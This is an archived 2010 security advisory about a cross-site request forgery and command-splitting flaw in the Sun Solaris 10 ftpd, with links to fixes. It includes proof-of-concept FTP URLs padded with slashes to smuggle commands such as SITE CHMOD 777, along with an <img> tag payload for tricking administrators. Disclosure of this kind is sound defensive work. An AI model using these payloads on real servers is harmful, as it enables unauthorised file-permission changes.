what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Sun Solaris 10 ftpd Cross Site Request Forgery

Sun Solaris 10 ftpd Cross Site Request Forgery
Posted May 22, 2010
Authored by Maksymilian Arciemowicz

Sun Solaris 10 ftpd suffers from a cross site request forgery vulnerability.

tags | exploit, csrf
systems | solaris
SHA-256 | 7c3ed2c5a6f4bc2080796dcb6ccb70ee63dd0b5d4ad81d589821c55d8d7da5d7

Sun Solaris 10 ftpd Cross Site Request Forgery

Change Mirror Download
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

[ Sun Solaris 10 ftpd Cross-site request forgery ]

Author: Maksymilian Arciemowicz
SecurityReason.com
Date:
- - Dis.: 24.02.2010
- - Pub.: 21.05.2010

Affected Software:
- - Sun Solaris 10 10/09
- - OpenSoalris 2009.06

Original URL:
http://securityreason.com/achievement_securityalert/84


- --- 0.Description ---
in.ftpd is the Internet File Transfer Protocol (FTP) server process. The
server may be invoked by the Internet daemon inetd(1M) each time a
connection to the FTP service is made or run as a standalone server.

CWE-352:
When a web server is designed to receive a request from a client without
any mechanism for verifying that it was intentionally sent, then it
might be possible for an attacker to trick a client into making an
unintentional request to the web server which will be treated as an
authentic request. This can be done via a URL, image load,
XMLHttpRequest, etc. and can result in data disclosure or unintended
code execution.


- --- 1. Sun Solaris 10 ftpd Cross-site request forgery ---
The main problem exists in dividing long command for few others. The
problem stems from the fact the use of the loop for(;;) and function
fgets(). etc

Example:
ftp://ftp.sun.com////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////stat


or

ftp://ftp.sun.com////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////pwd


tested od firefox 3.6.3

Example 2 (2048):
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////pwd

will be split for:

/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////

and

pwd

Example 3:
ftp://192.168.11.143/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////site
chmod 777 .


The situation, can be dangerous, when this bug will be exploited like
any CSRF attack. We can use SITE CHMOD command to change file permission
or other combinations with ftp commands. Only we need some exploit and
luck, that admin will executed exploited url.

How to exploit it?

0.
Creating some html file with <img> tags
<img src="ftp://.....////SITE%20CHMOD%20777%20FILENAME">
...

1.
Give preparing URL for user.

Example:
ftp://....////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////
//SITE%20CHMOD%20777%20EXAMPLEFILE

will change permision to EXAMPLEFILE when the owner will use this URL.

I think, it should be some byte, what inform about overflowing (empty
command should nulling this byte), like in openbsd fix for ftpd.

This vulnerability can also be used not only as CSRF. If we create an
interface based on PHP-ftp, you can inject arbitrary FTP command,
bypassing the access to the FTP server.

Similar vulnerabilities (1024chars split):
ftp://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2008-014.txt.asc
http://security.freebsd.org/advisories/FreeBSD-SA-08:12.ftpd.asc
http://security.freebsd.org/advisories/FreeBSD-SA-09:01.lukemftpd.asc



- --- 2. Fix ---
Sun bug 6946945

http://cvsweb.de.netbsd.org/cgi-bin/cvsweb.cgi/src/libexec/ftpd/extern.h#rev1.55.8.1
http://cvsweb.de.netbsd.org/cgi-bin/cvsweb.cgi/src/libexec/ftpd/ftpcmd.y#rev1.84.8.1
http://cvsweb.de.netbsd.org/cgi-bin/cvsweb.cgi/src/libexec/ftpd/ftpd.c#rev1.177.6.4
http://cvsweb.de.netbsd.org/cgi-bin/cvsweb.cgi/src/libexec/ftpd/version.h#rev1.65.12.2


- --- 3. Greets ---
sp3x Infospec pi3


- --- 4. Contact ---
Author: SecurityReason.com [ Maksymilian Arciemowicz ]
- - cxib {a\./t] securityreason [d=t} com

GPG:
- - http://securityreason.com/key/Arciemowicz.Maksymilian.gpg

http://securityreason.com/
http://securityreason.com/exploit_alert/ - Exploit Database
http://securityreason.com/security_alert/ - Vulnerability Database

-----BEGIN PGP SIGNATURE-----

iEYEARECAAYFAkv2fwcACgkQpiCeOKaYa9YmBACfcg4mv2fQRN+nnhFjiHgWM1Ih
1tAAoOm1j98SfZTY9qr72rPr5/qt3ek1
=Xng3
-----END PGP SIGNATURE-----

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close